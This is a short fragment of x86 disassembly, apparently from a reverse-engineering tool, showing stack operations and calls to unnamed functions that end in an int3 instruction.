lea eax, [ebp - 0x14]
push 1
push eax
call fcn.00419ed0
add esp, 8
lea ecx, [ebp - 0x28]
push eax
push esi
call fcn.0040d640
push 0x4788b8
lea eax, [ebp - 0x28]
push eax
call fcn.00438a84
int3